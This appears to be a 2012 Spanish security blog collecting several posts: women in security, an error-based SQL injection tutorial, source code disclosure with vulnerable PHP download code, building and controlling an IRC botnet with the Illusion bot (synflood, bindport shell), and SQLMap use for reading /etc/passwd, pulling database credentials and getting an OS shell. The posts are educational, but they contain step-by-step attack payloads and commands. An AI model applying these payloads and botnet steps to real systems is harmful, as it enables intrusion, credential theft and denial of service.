//

sábado, 22 de diciembre de 2012

Seguridad, ¿Un área solo para hombres?


A menudo me he preguntado el motivo por el cual pocas mujeres estudian seguridad o se desempeñan en algún cargo a fin. ¿Acaso es una carrera de y para hombres? ¿Hay machismo dentro de ella? ¿Si hay muchas mujeres pero se escudan tras un seudónimo masculino?

Comencé a estudiar seguridad hace pocos años, no les negaré que en multitud de ocasiones me he sentido en un mundo de “hombres”, me he topado con personas que creen que la mujer solo es una envoltura bonita para atraer clientes, o que se solo se puede desempeñar en empleos que requieran poco esfuerzo mental, pero también he conocido personas profesionales, que miran más allá de una simple apariencia física y le dan a la mujer las mismas oportunidades que tienen los hombres.

Muchos se sorprenden de ver a una mujer que sienta pasión por el hacking, no soy una experta, estoy iniciando, pero ¿qué puedo hacer? Esto es lo que me apasiona. El hacking es un estilo de vida, una cultura. Simplemente me atrae.

La razón de este pequeño escrito, es para mostrarles que sí hay mujeres que han sobresalido en estas áreas, podemos mencionar algunas de ellas:

  • Grace Murray Hopper: Conocida como la Amazing Grace. Fue la primera programadora que utilizó el Mark I, propició la aplicación de los compiladores para el desarrollo de los lenguajes de programación y métodos de validación. En su honor se establecieron los premios “Grace Murray Hopper Adward” que se otorgan a personalidades relevantes del mundo de la computación.
  • Jude Milhon: Hacker y feminista. Programadora informática, defensora de los ciber derechos, creadora del movimiento ciber punk y luchadora por la participación activa de las mujeres en la red. Barbara Thoens una de las pocas integrantes femeninas de CCC (Chaos Computer Club), grupo de élite hacker en Alemania 
  • Joanna Rutkoska: posiblemente una de las mayores expertas del mundo en malware.
  • Marissa Mayer, vicepresidenta de Google para productos de búsqueda y experiencia del usuario. 
  • Ane McGonigal, diseñadora de videojuegos y autora del libro “La realidad está descompuesta”. Ha sido nombrada como una de las 20 mujeres más importantes en la industria de videojuegos. 
  • Ada Augusta Byron King considerada como la primera programadora. Dedujo y previó la capacidad de los ordenadores para ir más allá de los simples cálculos de números, mientras que otros, incluido el propio Babbage, se centraron únicamente en estas capacidades. 

Queda demostrado que la seguridad no fue hecha solo para los hombres. ¿pero sigo con la misma duda inicial, porque hay tan pocas? ¿Ustedes qué opinan?

Este articulo lo escribí inicialmente para Flu-Project, puede acceder a el siguiendo este link: http://www.flu-project.com/seguridad-%C2%BFun-area-solo-para-hombres.html

Inyección SQL, a pesar del tiempo aún sigue vigente

Inyección Sql es una vulnerabilidad muy conocida, existen diversidad de documentos explicando su peligrosidad y explotación, sin embargo, en la actualidad muchos sitios web son vulnerables a este ataque. Por este motivo decidí escribir sobre este tema, para crear un poco de conciencia y mostrar que a pesar de que es una técnica antigua es muy fácil, hasta sin el uso de herramientas, obtener información de la base de datos de la entidad.

Este ataque consiste en introducir sentencias SQL en variables que puedan ser controladas por el usuario final, permitiéndole tener acceso a la base de datos desde su navegador. Si una aplicación web posee este tipo de fallo, el atacante podrá leer, modificar, eliminar y crear registros de la base de datos, dependiendo de los privilegios o permisos que posea este usuario. Todo esto es posible debido a una mala validación o filtrado de las variables que son enviadas al servidor, de esta manera se permite la manipulación de la consulta original por una creada por el atacante. Estas variables pueden ser llevadas tanto por el método POST, GET o por medio de las cabeceras http.

En este post solo hablaré de uno de los tipos de inyección sql, la basada en mensajes de error, la cual se caracteriza porque al insertar un carácter de sql en una variable vulnerable, presentará en el navegador el error ocasionado a la consulta original. De esta manera nos permite obtener información sobre el motor de base de datos usado o sobre la estructura de la consulta.

Para identificar si una aplicación es vulnerable a este tipo de ataque, se debe recorrer y analizar todo el sitio web en busca de las variables en donde el usuario pueda ingresar datos, en este caso código sql. Una vez obtenido todos los puntos de entrada, se prueba cada uno de ellos en busca de esta clase de fallo, insertando caracteres usados en sql para modificar la consulta que se esté realizando, como por ejemplo:
  • /* 
  • /
  • – 
  • entre otros.
En caso de que se esté validando estos tipos de caracteres especiales, para saltarnos el filtrado, se deberá evitar su uso directo, por lo cual se recomienda codificarlos en hexadecimal, hacer una conversión a char, código ascii o usando cualquier técnica que permita no insertar directamente estas sentencias. La siguiente web, nos permitirá realizar la conversión http://ostermiller.org/calc/encode.html


A continuación, se presenta un ejemplo de cómo detectar y explotar esta técnica. Cabe aclarar que no siempre se podrá sacar información de la misma forma, puesto que todo dependerá de cómo fue programada, el motor de base de datos usado y qué privilegios tenga el usuario donde se encuentra dicha vulnerabilidad.

Se tiene el siguiente sitio, en el cual se usa la variable id para identificar una página y cargar su contenido en el navegador:

www.vulnerable.com/index.php?id=2

Se inserta uno de los símbolos usados en sql para modificar la consulta y tratar de provocar un error.

www.vulnerable.com/index.php?id=2’

Al realizar la petición nos traerá como respuesta el error generado en la base de datos con información que nos permitirá identificar qué tipo de motor de base de datos se está usando, para este ejemplo es MySql.


A continuación, se intentará obtener el número de campos que se están utilizando en la consulta. Esto se logra usando la instrucción order by acompañada de un valor que deberá estar dentro del rango campos que tenga la consulta, puesto que si se sobrepasa mostrará error, como se observa en la siguiente imagen.


Como se puede observar en la anterior imagen, para este ejemplo el error se presenta al darle el valor de 12, por lo que se deduce que el número correcto de campos que posee la consulta es de 11. Obtenido este dado, se intentará sacar información adicional agregándole una consulta creada por nosotros, para ello se hará uso de la instrucción unión, que nos permitirá unificar en una sola las dos consultas: la nuestra con la original. Para poder usar esta sentencia correctamente se debe, junto con la sentencia select, especificarle el número de campos de la consulta original, como se presentará a continuación:

www.vulnerable.com/index.php?id=-2 union select 1,2,3,4,5,6,7,8,9,10,11--

Para facilitarnos la obtención de información, a la variable id se le colocará un valor inexistente, de esta manera no presentará el contenido de la página solicitada en el navegador, permitiendo así ver el resultado de nuestra consulta, la cual arrojará el número del campo del select que se usará para obtener más información sobre la base de datos.


Como se sabe que el motor de base de datos usado es MySql, se podrá recolectar información de la base de datos usando algunas funciones que éste posee para este fin, como lo son:
  • versión(): muestra la versión de la base del servidor
  • user(): presenta el nombre del usuario y del host 
  • database(): devuelve el nombre de la base de datos 
En la siguiente dirección se encuentra un listado más amplio:
http://dev.mysql.com/doc/refman/5.0/es/information-functions.html

Teniendo en cuenta el listado anterior presentaré un ejemplo usando una de las funciones, la cual nos dirá el nombre de la base de datos.

www.vulnerable.com/index.php?id=-2 union select 1,2,3,database(),5,6,7,8,9,10,11--


Otra forma de recolectar información es por medio de information_schema, la cual nos permitirá recurrir a los metadatos de la base de datos que contenga el servidor MySql, de la siguiente forma:

www.vulnerable.com/index.php?id=-2 union select 1,group_concat(table_name),3,4,5,6,7,8,9,10,11 from information_schema.tables--

Con la anterior consulta, buscamos obtener todos los nombres de las tablas que se encuentran en la base de datos de information_schema. Para hacerlo mas rápidamente, usé la función group_concat() la cual, me traerá en un string la concatenación de todas las tablas.


Hay una tabla usuarios, como lo que me interesa, para esta ocasión, son las credenciales de los usuarios, extraeré las columnas de esa tabla de la siguiente forma:

www.vulnerable.com/index.php?id=-2union select 1,group_concat(column_name),3,4,5,6,7,8,9,10,11 from information_schema.columns where table_schema=’BasedeDatos’ and table_name=’usuarios’—


El error que nos muestra es porque esta filtrando la comilla simple, para saltarnos ese filtrado lo codificare en hexadecimal.

www.vulnerable.com/index.php?id=-2union select 1,group_concat(column_name),3,4,5,6,7,8,9,10,11 from information_schema.columns where table_schema=0x4261736564654461746f73 and table_name=0x7573756172696f73—


Por último, obtenemos los valores de las dos columnas: usuario y password.

www.vulnerable.com/index.php?id=-2union select 1,group_concat(usuario),group_concat(password),4,5,6,7,8,9,10,11 from usuarios—

Como se puede apreciar en la imagen anterior, ya tenemos las credenciales de los usuarios., lo cual fue muy fácil. Aclaro nuevamente, no todos los sitios se explotan de la misma forma, ni se podrá obtener toda la información que deseemos, todo dependerá de los privilegios que tenga el usuario, del motor de base de datos y de los errores que se hayan cometido al programarlo. Existen multitud de herramientas que son usadas para la explotación de este tipo de vulnerabilidades, las cuales permitirán la automatización de este ataque, tales como, sqlmap, sqlInjector, m4x, pangolín, SQlier, SQLier entre otras. En el siguiente enlace se encuentra un listado de varias tools con su respectivo sitio de descarga: http://www.hackplayers.com/2008/08/herramientas-sql-injection.html

Saludos!

Este articulo lo escribí inicialmente para Flu-Project, se puede acceder a el siguiendo este link: http://www.flu-project.com/inyeccion-sql-a-pesar-del-tiempo-aun-sigue-vigente.html

Source Code Disclosure

SCD o Source code disclosure, es una vulnerabilidad que permite la lectura de ficheros que se encuentren en el sistema víctima,  debido a errores en la programación de páginas que realizan descargas de archivos. Esto se da debido a que no se hace un conveniente filtrado de los datos que llegan  del cliente, permitiéndonos obtener cualquier fichero del cual conozcamos su ruta dentro del servidor.
Un ejemplo de un código vulnerable es el siguiente:

<?php
$f = $_GET["f"];
header(“Content-type: application/octet-stream”);
header(“Content-Disposition: attachment; filename=\”$f\”\n”);
$fp=fopen(“$f”, “r”);
fpassthru($fp);
?>

En él se observa cómo se insertan los datos directamente dentro de la función fopen, sin ningún tipo de validación o verificación, ocasionando que el fichero sea descargado sin inconveniente.
A continuación presento la explotación de este ataque en una página vulnerable. Los datos fueron modificados para proteger el sitio original.
Se tiene la siguiente ruta: www.ejemplo.com/download.php?id=archivos.pdf
En ella, la variable id recibe el archivo a descargar, en este caso archivos.pdf, reemplazamos este documento por el nombre de fichero o página que queramos obtener, para este ejemplo, el objetivo es encontrar las credenciales de conexión de la base de datos, para ello le damos como valor a la variable id el fichero download.php, como se muestra en la figura 1.


En la figura 2 se presenta el código del archivo, brindándonos información adicional, como lo es el fichero con_str.php, el cual podría ofrecernos datos sensibles, puesto que es requerido al cargar la página, pudiendo contener los datos de la conexión.  A continuación, procedemos a su descarga, figura 3.

Como se dijo anteriormente, el fin principal de la explotación de esta vulnerabilidad es tener acceso a documentos existentes en el servidor objetivo, para este caso, el nuestro, era conseguir las credenciales que nos permitirán tener acceso a la base de datos. Con esta información en nuestras manos solo nos faltará acceder como un usuario legítimo al sistema. Figura 4 y 5.



Este articulo lo escribí inicialmente para Flu-Project, se puede acceder a el siguiendo este link:

http://www.flu-project.com/source-code-disclosure.html

Redes botnet. Controlando una botnet por irc (Parte II)

En esta segunda entrega presentaré un ejemplo de la creación, configuración y funcionamiento de una red botnet, pero en un entorno controlado. Para la implementación de esta práctica se usó el bot ruso llamado Illusion, el cual tiene como fin principal la realización de ataques de negación de servicios, y permite ser controlado tanto por irc como por http. Para este ejemplo el control se hará por medio de irc.

Para no hacer esta entrada más extensa, solo mostraré las configuraciones de este bot y algunas de sus funciones. Partiremos del hecho de que tenemos:
  • Un servidor IRC en una de nuestras máquinas, con un canal de chat, en donde se llevará a cabo el control de las máquinas zombie a través del envió de comandos. 
  • Un cliente IRC que permitirá la comunicación con el bot, logrando el envió de instrucciones por medio del canal de chat creado anteriormente. Este cliente se configura con los datos del dueño de la Botnet, como el alias, el servidor Irc y el puerto.
Configuración del Bot

El software usado para la creación de esta red Botnet es el denominado Illusion en su versión 1.1.
Los pasos para su configuración son los siguientes:
  • Luego de descomprimido el archivo se pulsa sobre el icono de nombre Build y se presiona el botón Edit Binary.
  • A continuación, se seleccionará el bot para su edición, en este caso es BOTBINARY. 
  • Realizado esto se ingresarán los datos de configuración del bot. Este soporta dos servidores IRC; como solo hay uno se escribió la dirección de este en ambos puntos, acompañado del número de puerto, y el nombre del canal por el conectará y recibirá las ordenes del dueño de la botnet. Para guardar los cambios se presiona en save y este actualiza el botbinary con los nuevos datos y queda listo para la propagación. Este instalador es el que se va a ejecutar en la máquina víctima.

Controlando la máquina zombie desde el canal Irc

Después de haber infectado la máquina, el bot se conectará al canal Irc creado, en espera de las ordenes del herder como se muestra a continuación.


Teniendo al drone en el canal, se procederá a iniciar sesión como dueño de la botnet, para que este responda a nuestras peticiones. Para ello se usa el comando login acompañado de la contraseña que se le configuró como Bot Password.


Si desea conocer todos los comandos disponibles para controlar esta botnet podrá visitar el siguiente sitio http://troyanosyvirus.com.ar/2006/07/comandos-illusion-bot.html, o mirar dentro de la carpeta de descarga de este. Solo expondré un ejemplo de alguno de ellos, ya que el objetivo de este escrito no es ser un manual, sino servir de práctica para observar el funcionamiento de una botnet y ver lo sencillo que es crearla.
  • sinfo: muestrará datos relacionados del sistema.

  • ftpd [port]: Permitirá realizar una conexión ftp por el puerto indicado.

En la ventana de inicio de la aplicación, se introducirá en la casilla de Servidor la ip de la máquina zombie; en nombre de usuario, la contraseña con las que el bot nos identificará como amo, y finalmente se introducirá el puerto.

  • synflood: este ataque se caracteriza por intentar realizar un gran número de conexiones Tcp con la bandera Syn activa, haciendo que la máquina víctima responda con un Syn/ack y quede aguardando una respuesta Ack que nunca es enviada. Esto ocasiona que se consuman recursos en la espera y que se acumulen las peticiones en cola, hasta que se dé una negación de servicios.
  • bindport [port], este comando permitirá que una Shell se conecte al puerto especificado.

Se establece una conexión indicándole a netcat la ip del equipo zombie y el puerto que está en escucha.


Este bot, es bastante antiguo, y es detectado por todos los antivirus. Además existen otros medios más eficientes de tomar control, a parte del irc. La idea de este artículo es dar un pequeño ejemplo de la creación y lo peligroso que puede ser caer en una red botnet.

¡Saludos! 

Este articulo lo escribí inicialmente para Flu-Project, se puede acceder a el siguiendo este link: http://www.flu-project.com/redes-botnet-controlando-una-botnet-por-irc-parte-ii.html

Redes botnet (Parte I)


A medida que avanza el tiempo y dado que el uso del internet cada vez es mayor, el malware se ha ido expandiendo y mutando, agregándosele funcionalidades adicionales y haciéndolos cada vez más peligrosos. Por tanto, es necesario conocer el funcionamiento y ejecución de este tipo de códigos maliciosos. Para este propósito, hablaré en esta oportunidad de uno de los distintos malware que existen, el bot, software usado para el desarrollo de las redes Botnet. Este programa tienen como función infectar el mayor número máquinas para así tomar control de ellas y realizar negación de servicios distribuidos, envió de spam, entre otra diversidad de acciones que más adelante se describirá.

¿Qué es una Botnet?

Una red botnet es un conjunto de equipos infectados con un programa que contiene un código malicioso denominado bot o también conocido como robots, el cual al entrar en una máquina permitirá que un atacante, o dueño de la botnet, pueda mandar instrucciones al software y tener control del equipo. Las computadoras que pertenecen a este tipo de red pueden encontrarse en cualquier parte del mundo, puesto que la forma de propagación de los bot es buscando en internet cualquier máquina que se encuentre vulnerable o que posea fallos de seguridad para luego entrar en ella y tratar de pasar desapercibido ante la víctima, en espera de que sea requerido por el atacante.

En el instante en el que el bot infecta una máquina, este se comunica con el Centro de Comando y control, también denominado como C&C, y adiciona el equipo a la red botnet, convirtiéndolo así en un zombie o drone y permitiéndole al administrador de la red tener control del equipo remotamente por medio del envío de comandos por un canal de comunicación creado.

Modos de infección

Existen múltiples formas de lograr infectar una maquina, todo dependerá de la imaginación del atacante. Se puede hacer uso de las redes P2P para esparcir este malware de forma más rápida, así como de la ingeniería social, para que la víctima ejecute o instale el bot sin sospechar de ello, de esta manera se le hace creer que necesita instalar alguna aplicación, como por ejemplo un plugin para ver videos, visitando un sitio infectado o descargando algún tipo de programa que posea código malicioso, ya sea enviado a través del correo electrónico como datos adjuntos o descargado de alguna página. También esta infección se puede dar por el uso de crack, logrando que al ejecutarse se libere el bot e infecte el equipo e intente su propagación escaneando la red y aprovechándose de las vulnerabilidades del sistema, para ello, usa exploits que ataquen las debilidades más conocidas del sistema operativo en el que se encuentre.

La mayoría de los bots, han sido desarrollados para auto propagarse, buscando cualquier equipo en internet que presente fallos de seguridad. Realizan un escaneo en la red o usan un rango de direcciones en busca de máquinas vulnerables. También hacen uso de aplicaciones de la víctima como la mensajería instantánea y redes sociales (mediante el envió de supuestas fotografías o archivos), de esta manera logra propagarse a todos los contactos de la víctima.

Formas de controlar una Botnet

Las redes Botnet pueden tener su Centro de Comando y Control de forma centralizada o descentralizada. En la primera, el C&C se encuentra ubicado en un solo servidor con el ancho de banda suficiente para comunicarse con los bots. La mayor debilidad de este tipo de modelo es que si dicho Centro de Comando y Control es encontrado y eliminado se perderá el mando de la red. Dentro de esta categoría se encuentran las Botnet que basan su comunicación por IRC y HTTP.

Las redes que hacen uso de IRC, utilizan este canal para el envió de todas las instrucciones de los ataques que la máquina zombi debe realizar. En la mayoría de los casos, para evitar que la red Bonet sea infiltrada o sea eliminada, cada equipo infectado debe proveer tres tipos de contraseñas para el acceso, las cuales al ser correctas van a permitir que el bot se pueda conectar al servidor IRC, luego al canal de chat en el cual está la red y por último, pueda recibir las instrucciones del herders.

Las Botnet que basan su comunicación en el uso del protocolo HTTP, tienen como ventaja que su detección es más difícil que la de IRC, puesto que se puede confundir con el tráfico normal de Internet, evadiendo en la mayoría de los casos el firewall. Y la segunda forma de control, la descentralizada, es la que se apoya en las comunicaciones P2P. Es mucho más difícil de detectar y destruir, ya que no dependen de un solo servidor, puesto que cualquier equipo conectado a esta, puede ser tanto un C&C como un cliente.

A medida que pasa el tiempo los atacantes han tratado de encontrar diversas formas de controlar una botnet y expandir su bot más fácilmente, un ejemplo de esto es el uso de las redes sociales y de twitter para poder cumplir con este objetivo. Esto es, por medio de mensajes o tweets, se realiza la comunicación entre el C&C y las máquinas zombie. En los siguientes enlaces se encuentran informes realizados por blogs.eset sobre estos hallazgos: http://blogs.eset-la.com/laboratorio/2010/05/14/botnet-a-traves-twitter/, http://blogs.eset-la.com/laboratorio/2011/12/08/facebook-troyanos-y-botnets/

Finalidades de una Botnet

Este tipo de redes pueden ser realizadas para diferentes tareas, entre las cuales se encuentran las siguientes:
  • Envió masivo de email o spam. 
  • Ataque de negación de servicios distribuidos o DDOS.
  • Propagación de virus. Instalación de programas espías. 
  • Instalación de Keylogging. 
  • Sniffing de tráfico. 
  • Realizar fraude en los sistemas de pago por clic. 
  • Phishing. 
  • Uso para alojamiento de archivos. 
  • Ofrecer anonimato al herders, puesto que los equipos zombis son los que realizarán el ataque directamente. 
  • Ganar dinero con el alquiler de la red Botnet. 
Modos de protección
  • Actualizar el sistema operativo con los parches que ofrece la entidad. 
  • Mantener el antivirus y un anti spyware actualizado. 
  • Bloquear la ejecución de código JavaScript en el navegador. 
  • Bloquear los puertos usados frecuentemente por los troyanos, incluyendo el 6667 que corresponde al IRC, aunque normalmente no se conectan a los puertos por defecto. 
  • Usar un firewall. 
  • No visitar sitios web que puedan estar infectados. 
  • No ejecutar programas de los cuales no se conozca su procedencia. 
  • No abrir correos de destinatarios desconocidos. 
  • Navegar con un usuario que no posea todos los privilegios sobre el sistema. 
  • Revisar el tráfico saliente de nuestro equipo. 
  • Analizar el sistema con un detector de rootkits

Tipos de bot

La mayoría de los Bots, fueron creados para los mismos fines, el envió de spam, el robo de credenciales de los usuarios, la propagación de sí mismos para ampliar la red Botnet aprovechando las fallas o vulnerabilidades que posean los sistemas operativos, la instalación de keylogger, de sniffer, realización de negación de servicio distribuido, etc. Un bot a grandes rasgos, tiene como objetivo principal su propagación y lograr pasar desapercibido por los usuarios, para ello algunas de las herramientas que usan son los rootkid, que van a permitir esconder al gusano y sus procesos.

A continuación presento algunos de los muchos tipos de bots existentes, cada uno posee numerosas variantes a las cuales les han incluido mejoras para no ser detectados.

  • Rxbot, Rbot, RvBot: busca copiarse a sí mismo en los documentos compartidos. Intenta obtener los nombres de los usuarios y las claves del equipo. Se aprovecha de las vulnerabilidades de Windows para acceder a otras máquinas. 
  • AgoBot o Gaobot: la administración de las redes con este tipo de bot se realiza por medio de comandos de IRC, permite realizar peticiones HTTP, el uso de sniffer, keylogger, rootkits y cliente smtp para el uso de spam. 
  • ZeuS, Zbot, Zbot, Wsnpoem, Ntos o Prg: se pueden presentar de modo distinto en las máquinas zombie, ocasionando su difícil detección por medio de las firmas. 
  • Sober: su funcionamiento se basa en el envió de spam. Manda una copia de sí mismo en el mensaje de los correos electrónicos para su propagación. Las nuevas variantes no dependen de este medio para propagarse. 
  • Spybot: usan el IRC como medio de comunicación, existen aproximadamente 1000 tipos de variantes de este virus. 
  • Korgo, Sasser, SasserC: usa el IRC como medio de comunicación. Se propaga explotando la vulnerabilidad en lsass.exe de Windows. 
  • SdBot: busca propagarse atacando direcciones ip aleatorias. Si logra acceder a una maquina descarga el virus a través de FTP. 
  • Phatbot: se apoya en la comunicación p2p, se usa más que todo para envío de spam y la realización de DDOS. En el equipo infectado desactiva el antivirus y el firewall.

Algunas redes Botnet

  • Botnet Mariposa: extraía datos personales y de las tarjetas de crédito. Botnet Rustock: fue utilizada para realizar spam.
  • Botnet Zeus: usa un troyano llamado Zeus, y se caracteriza por el robo de información, como nombres de usuario, contraseñas, números de cuenta y números de tarjetas de crédito. 
  • Botnet Koobface: emplea las redes sociales como Facebook o MySpace para distribuirse, haciendo que el usuario presione sobre un enlace que lo envía un supuesto amigo para ver un vídeo y que para mostrarlo pida una actualización, engañando a la víctima y descargando así el bot en la máquina. 
  • Botnet TidServ: se usa para el envió de Spam, su forma de propagación es enviándose como archivo adjunto dentro de los correos. Usa herramientas rootkit para ocultarse en el sistema.
  • Botnet Trojan.Fakeavalert: empleada para distribuir antivirus falsos. 
  • Botnet TR/Dldr.Agent.JKH: es usada para realizar fraude en los sistemas de pago por clic.
  • Botnet Monkif: empleada para secuestrar navegadores mediante la descarga de un BHO malicioso. 
  • Botnet Hamweq: la distribución de este gusano se realiza principalmente mediante dispositivos USB. 
  • Botnet Swizzor: permite descargar otra clase de virus en el drone. Botnet Gammima: se usa principalmente para robar cuentas en juegos online.
Este articulo lo escribí inicialmente para Flu-Project, puede acceder a el siguiendo este link: http://www.flu-project.com/redes-botnet-parte-i.html

SQLMAP Algo mas que Dump



SQLMap es una herramienta muy completa y flexible. Fue creada por Bernardo Damele Assumpcao Guimaraes y Miroslav Stampar. Se caracteriza por permitir la realización de ataques de SQL Injection automatizados contra un sitio web vulnerable y, debido a su gran variedad de opciones, se podrá personalizar las técnicas usadas dependiendo del objetivo.  

SQLMap agrupa sus comandos por categorías, denominadas de la siguiente forma: Target, Request, Optimization, Injection, Detection, Techniques, Fingerprint, Enumeration, Brute force, User-defined function injection, File system access, Operating system access, Windows registry access, General y Miscellaneous. Todas estas categorías se encuentran detalladas en el manual de esta herramienta, que esta disponible en el siguiente enlace sqlmap.sourceforge.net/doc/README.pdf.

A pesar de las múltiples funciones que trae consigo SQLMap, el comando mas usado y conocido por muchos es dump, con el cual se podrá bajar o dumpear la base de datos. En esta ocasión haré caso omiso de dump, y "jugaré" con otras opciones que también me parecen interesantes; sin embargo, no hablaré de todas, puesto que no pretendo realizar un manual. Mirando el --help de esta herramienta podremos encontrar todos los comandos que nos permitirán personalizar las técnicas usadas dependiendo de la aplicación en que nos encontremos.

Tomaré como ejemplo un sitio vulnerable a SQL Injection para la realización de esta practica. Con el fin de proteger la identidad y los datos sensibles que puedan ser expuestos, algunas imágenes y consultas han sido modificadas.

Teniendo ya mi sitio con una variable vulnerable a SQL Injection, lo primero que se me vino a la mente fue saber con qué usuario se están realizando las peticiones, para ello uso el  parámetro --Current-user y armo mi consulta de la siguiente forma:

./sqlmap.py -u http://www.paginadeprueba.com/noticia.php?id=10 –current-user

Como respuesta, el servidor trae el nombre del usuario como se presenta en la siguiente imagen: 


Ya identificado el usuario, quiero saber si este es el administrador de la base de datos, para lo cual use --is-dba. Y si quiero saber a qué base de datos se está conectando usaré: --Current-db

./sqlmap.py -u http://www.paginadeprueba.com/noticia.php?id=10 --is-dba –current-db

La consulta anterior nos dice que no es el dba.


Ahora se necesita saber qué privilegios posee el usuario que realiza dicha consulta dentro del servidor, para así poder enfocar mejor nuestro vector de ataque. El comando a usar para la enumeración de los privilegios es --privileges

./sqlmap.py -u  http://www.paginadeprueba.com/noticia.php?id= --privileges

Se encontraron varios "administradores", pero con distintos privilegios. A continuación presento solo el resultado de nuestro usuario:

Como se observa en la imagen anterior, se poseen muchos privilegios; ahora sí todo depende de la imaginación y del objetivo del atacante.

Al momento de identificar si el sitio era vulnerable o no a la técnica de SQL Injection, se generaron errores en la aplicación y gracias a que hay un mal manejo de ellos se pudo obtener la ruta raíz del servidor (Full path disclosure). Ésta será de ayuda más adelante para la lectura y escritura de algunas páginas, siempre y cuando el usuario de la consulta tenga los permisos suficientes en el servidor web.

Para realizar la lectura de ficheros se usa el comando --file-read acompañado de la ruta en que se encuentra este, para este caso "/etc/passwd"


./sqlmap.py -u http://www.paginadeprueba.com/noticia.php?id=10 –file-read=/etc/passwd

Como respuesta, SQLMap lo descarga y lo guarda en la carpeta files.


Además, esta herramienta permite la lectura del código fuente de las páginas de la aplicación que se le especifique. Para este ejemplo, el objetivo era conseguir los datos de conexión de la base de datos. Para ello, le pedí a SQLMap leer la pagina de inicio, index.php

./sqlmap.py -u http://www.paginadeprueba.com/noticia.php?id=10 --file-read=ruta_raiz_del_servidor/index.php

 En el código fuente extraído, se muestra que hay una pagina que está incluyendo, conn.php. Posiblemente ésta nos brinde más información.

Leyendo conn.php

./sqlmap.py -u http://www.paginadeprueba.com/noticia.php?id=10 --file-read=ruta_raiz_del_servidor/conn.php

Y ésta nos da más datos, esta vez la ruta donde se encuentra la información que se está buscando.


Leyendo Ruta/local_db.inc

./sqlmap.py -u http://www.paginadeprueba.com/noticia.php?id=10 –file-read=ruta_raiz_del_servidor/local_db.icn

y como respuesta tenemos los datos de conexión de la base de datos:


Y si lo que se quiere es tener una shell sql, con el siguiente comando --sql-shell se puede obtener de la siguiente forma:

./sqlmap.py -u http://www.paginadeprueba.com/noticia.php?id=10 --sql-shell

Como respuesta nos da una shell sql en donde se podrá realizar consultas, como se muestra a continuación:


En caso de poseer los suficientes privilegios, se podrá ejecutar comandos en el sistema operativo, entre otra multitud de acciones. Para no hacer muy extenso este post solo usaré el comando --os-shell, que nos permitirá conseguir una shell en el servidor.

./sqlmap.py -u http://www.paginadeprueba.com/noticia.php?id=10 --os-shell

Después de ejecutar la sentencia anterior, SQLMap nos arrojará información sobre el sistema operativo en el que corre la aplicación y pedirá que se le especifique el lenguaje de la misma y la ruta raíz del servidor.


Y finalmente, crea una página, en este caso en php, en el servidor con la ruta especificada con el siguiente código:


Esta página que se insertó en el servidor web nos permitirá subir cualquier archivo, en este caso una phpshell, para así tener control completo del sitio.

Estas son unas pocas muestras de la potencia y flexibilidad de las opciones no tan populares de esta fantástica herramienta. Es aconsejable investigar con mayor profundidad las posibilidades de SQLMap, ya que serán de gran utilidad en próximas auditorías.